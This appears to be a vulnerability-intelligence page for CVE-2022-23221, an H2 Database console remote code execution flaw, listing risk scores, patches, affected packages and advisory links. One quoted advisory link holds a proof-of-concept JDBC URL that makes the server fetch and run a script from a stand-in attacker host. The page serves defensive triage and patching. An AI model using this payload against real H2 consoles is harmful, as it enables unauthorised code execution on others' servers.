CVE-2022-23221

CRITICALNVD 9.89.8
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to NVD's CVSS score.

Score 9.8 from GitHub Security Advisory (severity: CRITICAL) published 2022-01-21. NVD baseline CVSS 9.8; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: EPSS, GitHub Security Advisory, NVD CVSS v3
Weaponized

Also known asEUVD-2022-0440 (ENISA EUVD) · GHSA-45hx-wfhj-473x (GitHub Security Advisories)Source: ENISA EUVD

9.8EG
EchelonGraph verdictPlan a fixRemediate within your standard update timelines at low or medium mission impact and sooner than that at high (the SSVC decision on this page).
  • High exploitation likelihood — EPSS 65%
  • CISA's Vulnrichment rates exploitation as PoC; EchelonGraph holds no exploit-code reference for it
CISA-KEV: Not listedEPSS PROB: 65%CVSS: 9.8Exploit: No code on recordExposed services: Not assessed

A fix is available — apply it.

H2 Console before 2.1.210 allows remote attackers to execute arbitrary code via a jdbc:h2:mem JDBC URL containing the IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT substring, a different vulnerability than CVE-2021-42392.

CVSS v3
9.8
EG Score
9.8CRITICALmedium confidence
EG Risk
85
EG Risk 85/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity98% × 45%
Impact severity (EG Severity): CVSS 9.8 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation65% × 40%
EchelonGraph's fixed weight for EG-KEV Tier 2 (Weaponized): a constant, not a probability.
Automatability100% × 15%
CISA's SSVC Automatable value: yes (Vulnrichment).
SSVC (CISA's decision table, applied by EchelonGraph): Track at low, Track* at medium and Attend at high mission impact.
Exploitation public PoC (CISA Vulnrichment) · Automatable yes (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.
EPSS PROB
65%
EPSS %ILE
99th
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (9.8): severity, escalated by confirmed exploitation. This CVE's 9.8 is its impact severity (EG Severity), not escalated.

EG Severity
9.8 CRITICALCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
EG Likelihood
65% within 30 daysSource: FIRST EPSS (model v2026.06.15, score date 2026-11-12). FIRST's exploitation probability, not an EchelonGraph model.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track* at medium mission impactTrack at low, Track* at medium and Attend at high mission impact.CISA BOD 26-04: 3 days if the affected system is publicly exposed; 60 days if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low, Track* at medium and Attend at high mission impact.

A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.

Exploitation public PoC (CISA Vulnrichment) · Automatable yes (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)3 days if the affected system is publicly exposed; 60 days if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable yes (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

January 19, 2022

Last Modified

May 5, 2025

Advisory Details (8)

Auto-updated Oct 10, 2026
Patch available. Sources: github_release, github.
Web page

[SECURITY] [DSA 5076-1] h2database security update

https://www.debian.org/security/2022/dsa-5076
Web page

ismail on X: "Another unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221. Fixed in v2.1.210+. PoC: jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql';'\" / X

https://twitter.com/d0nkey_man/status/1483824727936450564
Web pageMentions a patch (unverified)

[SECURITY] [DLA 2923-1] h2database security update

https://lists.debian.org/debian-lts-announce/2022/02/msg00017.html
GitHub advisory

Security Advisories · h2database/h2database · GitHub

https://github.com/h2database/h2database/security/advisories
GitHub release Patch Available

Version 2.1.210

Patch available: h2database/h2database version-2.1.210

https://github.com/h2database/h2database/releases/tag/version-2.1.210
Web page

Full Disclosure: Unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221.

http://seclists.org/fulldisclosure/2022/Jan/39

Patch Availability(9)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
ubuntulibh2-java-doc (1.4.191-1ubuntu0.1~esm1) @ xenial2026-11-02ubuntu
ubuntulibh2-java-doc (1.4.197-4+deb10u1build0.21.10.1) @ impish2026-11-02ubuntu
redhateap7-h2database-0:1.4.197-2.redhat_00005.1.ep7.el72024-11-25redhat
redhateap7-xml-security-0:2.2.3-2.redhat_00001.1.el7eap2024-11-25redhat
redhath22022-07-07redhat
redhateap7-h2database-0:1.4.197-2.redhat_00004.1.el7eap2022-06-06redhat
redhatcom.h2database/h2:1.4.197.redhat-000042022-06-06redhat
redhateap7-h2database-0:1.4.197-2.redhat_00004.1.el8eap2022-06-06redhat
mavencom.h2database:h2 @ 2.1.210 (fixes < 2.1.210)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Affected Packages

(7 across 7 ecosystems)
Debian:10(1)
PackageVulnerable rangeFix by version rangeDependents
h2database1.4.197-4
  • every version up to 1.4.197-4+deb10u1: fixed in 1.4.197-4+deb10u1
—
Debian:11(1)
PackageVulnerable rangeFix by version rangeDependents
h2database1.4.197-4
  • every version up to 1.4.197-4+deb11u1: fixed in 1.4.197-4+deb11u1
—
Debian:12(1)
PackageVulnerable rangeFix by version rangeDependents
h2database—
  • every version up to 2.1.210-1: fixed in 2.1.210-1
—
Debian:13(1)
PackageVulnerable rangeFix by version rangeDependents
h2database—
  • every version up to 2.1.210-1: fixed in 2.1.210-1
—
Debian:14(1)
PackageVulnerable rangeFix by version rangeDependents
h2database—
  • every version up to 2.1.210-1: fixed in 2.1.210-1
—
Debian:9(1)
PackageVulnerable rangeFix by version rangeDependents
h2database1.4.193-1
  • every version up to 1.4.193-1+deb9u1: fixed in 1.4.193-1+deb9u1
—
Maven(1)
PackageVulnerable rangeFix by version rangeDependents
com.h2database:h21.0.20061217 ... 2.0.206 (131 versions)
  • every version up to 2.1.210: fixed in 2.1.210
—

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Additional Vendor Advisories

(2)

Vendors that published advisories for this CVE beyond the curated set above. Broader coverage but minimal per-row detail — click through for the original advisory.

Data Freshness Timeline

(refreshed 21× in last 7d / 66× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed its CVE.org record (CNA or CISA ADP). An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). "EchelonGraph re-scored" is our own recompute of this CVE's score, not an update from a source, and is not counted in the refreshes above. Most recent first.

Showing the most recent 100 of 231 rows on record for this CVE.

A repeat, a row identical to one the same pipeline wrote less than 10 seconds earlier, is not a separate refresh and is not counted. None are among the latest 100 rows. The 131 oldest rows on record are not shown and were not checked, so the counts can still include repeats.

  1. 2026-11-13 12:30 UTCEchelonGraph re-scored
  2. 2026-11-13 12:30 UTCVendor advisory
  3. 2026-11-13 12:30 UTCGHSA enrichmentGHSA-45hx-wfhj-473x · GitHub severity CRITICAL · GitHub CVSS 9.8
  4. 2026-11-12 16:29 UTCEPSS rescoreEPSS 65% · 99th percentile
  5. 2026-11-12 13:21 UTCEchelonGraph re-scored
  6. 2026-11-12 13:21 UTCVendor advisory
  7. 2026-11-12 13:21 UTCGHSA enrichmentGHSA-45hx-wfhj-473x · GitHub severity CRITICAL · GitHub CVSS 9.8
  8. 2026-11-11 16:32 UTCEPSS rescoreEPSS 65% · 99th percentile
  9. 2026-11-11 14:12 UTCEchelonGraph re-scored
  10. 2026-11-11 14:12 UTCVendor advisory
  11. 2026-11-11 14:12 UTCGHSA enrichmentGHSA-45hx-wfhj-473x · GitHub severity CRITICAL · GitHub CVSS 9.8
  12. 2026-11-10 16:35 UTCEPSS rescoreEPSS 65% · 99th percentile
  13. 2026-11-10 15:02 UTCEchelonGraph re-scored
  14. 2026-11-10 15:02 UTCVendor advisory
  15. 2026-11-10 15:02 UTCGHSA enrichmentGHSA-45hx-wfhj-473x · GitHub severity CRITICAL · GitHub CVSS 9.8
  16. 2026-11-09 16:29 UTCEPSS rescoreEPSS 65% · 99th percentile
  17. 2026-11-09 15:52 UTCVendor advisory
  18. 2026-11-09 15:52 UTCGHSA enrichmentGHSA-45hx-wfhj-473x · GitHub severity CRITICAL · GitHub CVSS 9.8
  19. 2026-11-08 16:43 UTCEchelonGraph re-scored
  20. 2026-11-08 16:43 UTCVendor advisory
  21. 2026-11-08 16:43 UTCGHSA enrichmentGHSA-45hx-wfhj-473x · GitHub severity CRITICAL · GitHub CVSS 9.8
  22. 2026-11-07 17:33 UTCEchelonGraph re-scored
  23. 2026-11-07 17:33 UTCVendor advisory
  24. 2026-11-07 17:33 UTCGHSA enrichmentGHSA-45hx-wfhj-473x · GitHub severity CRITICAL · GitHub CVSS 9.8
  25. 2026-11-07 16:34 UTCEPSS rescoreEPSS 65% · 99th percentile
Show 75 more
  1. 2026-11-06 18:24 UTCEchelonGraph re-scored
  2. 2026-11-06 18:24 UTCVendor advisory
  3. 2026-11-06 18:24 UTCGHSA enrichmentGHSA-45hx-wfhj-473x · GitHub severity CRITICAL · GitHub CVSS 9.8
  4. 2026-11-05 19:15 UTCEchelonGraph re-scored
  5. 2026-11-05 19:15 UTCVendor advisory
  6. 2026-11-05 19:15 UTCGHSA enrichmentGHSA-45hx-wfhj-473x · GitHub severity CRITICAL · GitHub CVSS 9.8
  7. 2026-11-05 16:31 UTCEPSS rescoreEPSS 65% · 99th percentile
  8. 2026-11-04 20:06 UTCEchelonGraph re-scored
  9. 2026-11-04 20:06 UTCVendor advisory
  10. 2026-11-04 20:06 UTCGHSA enrichmentGHSA-45hx-wfhj-473x · GitHub severity CRITICAL · GitHub CVSS 9.8
  11. 2026-11-04 16:30 UTCEPSS rescoreEPSS 65% · 99th percentile
  12. 2026-11-03 23:55 UTCOSV refresh
  13. 2026-11-03 20:55 UTCEchelonGraph re-scored
  14. 2026-11-03 20:55 UTCGHSA enrichmentGHSA-45hx-wfhj-473x · GitHub severity CRITICAL · GitHub CVSS 9.8
  15. 2026-11-03 16:39 UTCEPSS rescoreEPSS 65% · 99th percentile
  16. 2026-11-02 21:46 UTCEchelonGraph re-scored
  17. 2026-11-02 21:46 UTCVendor advisory
  18. 2026-11-02 21:46 UTCGHSA enrichmentGHSA-45hx-wfhj-473x · GitHub severity CRITICAL · GitHub CVSS 9.8
  19. 2026-11-01 22:36 UTCEchelonGraph re-scored
  20. 2026-11-01 22:36 UTCVendor advisory
  21. 2026-11-01 22:36 UTCGHSA enrichmentGHSA-45hx-wfhj-473x · GitHub severity CRITICAL · GitHub CVSS 9.8
  22. 2026-11-01 08:28 UTCGHSA enrichmentGHSA-45hx-wfhj-473x · GitHub severity CRITICAL · GitHub CVSS 9.8
  23. 2026-11-01 08:28 UTCEchelonGraph re-scored
  24. 2026-10-31 23:28 UTCEchelonGraph re-scored
  25. 2026-10-31 23:28 UTCVendor advisory
  26. 2026-10-31 16:29 UTCEPSS rescoreEPSS 65% · 99th percentile
  27. 2026-10-31 00:18 UTCEchelonGraph re-scored
  28. 2026-10-31 00:18 UTCVendor advisory
  29. 2026-10-30 16:30 UTCEPSS rescoreEPSS 65% · 99th percentile
  30. 2026-10-30 01:09 UTCEchelonGraph re-scored
  31. 2026-10-30 01:09 UTCVendor advisory
  32. 2026-10-29 16:29 UTCEPSS rescoreEPSS 65% · 99th percentile
  33. 2026-10-29 01:59 UTCEchelonGraph re-scored
  34. 2026-10-28 16:28 UTCEPSS rescoreEPSS 65% · 99th percentile
  35. 2026-10-28 02:49 UTCEchelonGraph re-scored
  36. 2026-10-28 02:49 UTCVendor advisory
  37. 2026-10-27 16:28 UTCEPSS rescoreEPSS 65% · 99th percentile
  38. 2026-10-27 03:35 UTCEchelonGraph re-scored
  39. 2026-10-27 03:35 UTCVendor advisory
  40. 2026-10-26 00:15 UTCVendor advisory
  41. 2026-10-25 18:13 UTCEchelonGraph re-scored
  42. 2026-10-25 16:29 UTCEPSS rescoreEPSS 65% · 99th percentile
  43. 2026-10-25 01:06 UTCEchelonGraph re-scored
  44. 2026-10-25 01:06 UTCVendor advisory
  45. 2026-10-24 16:29 UTCEPSS rescoreEPSS 65% · 99th percentile
  46. 2026-10-24 01:56 UTCEchelonGraph re-scored
  47. 2026-10-24 01:56 UTCVendor advisory
  48. 2026-10-23 16:28 UTCEPSS rescoreEPSS 65% · 99th percentile
  49. 2026-10-23 02:47 UTCEchelonGraph re-scored
  50. 2026-10-23 02:47 UTCVendor advisory
  51. 2026-10-22 03:37 UTCEchelonGraph re-scored
  52. 2026-10-22 03:37 UTCVendor advisory
  53. 2026-10-21 16:28 UTCEPSS rescoreEPSS 65% · 99th percentile
  54. 2026-10-21 04:28 UTCEchelonGraph re-scored
  55. 2026-10-21 04:28 UTCVendor advisory
  56. 2026-10-20 16:29 UTCEPSS rescoreEPSS 65% · 99th percentile
  57. 2026-10-20 05:19 UTCEchelonGraph re-scored
  58. 2026-10-20 05:19 UTCVendor advisory
  59. 2026-10-19 16:28 UTCEPSS rescoreEPSS 65% · 99th percentile
  60. 2026-10-19 06:08 UTCEchelonGraph re-scored
  61. 2026-10-19 06:08 UTCVendor advisory
  62. 2026-10-18 06:55 UTCEchelonGraph re-scored
  63. 2026-10-18 06:55 UTCVendor advisory
  64. 2026-10-17 16:29 UTCEPSS rescoreEPSS 65% · 99th percentile
  65. 2026-10-17 07:44 UTCEchelonGraph re-scored
  66. 2026-10-17 07:44 UTCVendor advisory
  67. 2026-10-16 16:34 UTCEPSS rescoreEPSS 65% · 99th percentile
  68. 2026-10-16 08:33 UTCEchelonGraph re-scored
  69. 2026-10-16 08:33 UTCVendor advisory
  70. 2026-10-15 07:42 UTCEchelonGraph re-scored
  71. 2026-10-15 07:42 UTCVendor advisory
  72. 2026-10-14 16:29 UTCEPSS rescoreEPSS 65% · 99th percentile
  73. 2026-10-14 03:39 UTCEchelonGraph re-scored
  74. 2026-10-14 03:39 UTCVendor advisory
  75. 2026-10-13 16:29 UTCEPSS rescoreEPSS 65% · 99th percentile

Frequently asked(5)

What is CVE-2022-23221?
CVE-2022-23221 is a critical-severity vulnerability; its CVE record was published on January 19, 2022. H2 Console before 2.1.210 allows remote attackers to execute arbitrary code via a jdbc:h2:mem JDBC URL containing the IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT substring, a different vulnerability than CVE-2021-42392.
When was the CVE record for CVE-2022-23221 published?
The CVE record for CVE-2022-23221 was published on January 19, 2022. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of May 5, 2025; the record at its source may have been updated since.
Is CVE-2022-23221 actively exploited?
CVE-2022-23221 is not currently on CISA's Known Exploited Vulnerabilities catalog. EchelonGraph's EG-KEV model places it in Tier 2 (Weaponized), which is not evidence of exploitation: CISA's SSVC data says a public PoC exists and its EPSS is 50% or more. EchelonGraph does not test whether exploit code works. FIRST EPSS estimates a 65% probability of exploitation in the next 30 days (99th percentile of EPSS-scored CVEs).
What is the CVSS score of CVE-2022-23221?
CVE-2022-23221 has a CVSS v3 base score of 9.8 (NVD).
How do I remediate CVE-2022-23221?
A fix for CVE-2022-23221 is available: update to the fixed version the vendor names in its advisory. The vendor advisories EchelonGraph has for CVE-2022-23221 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

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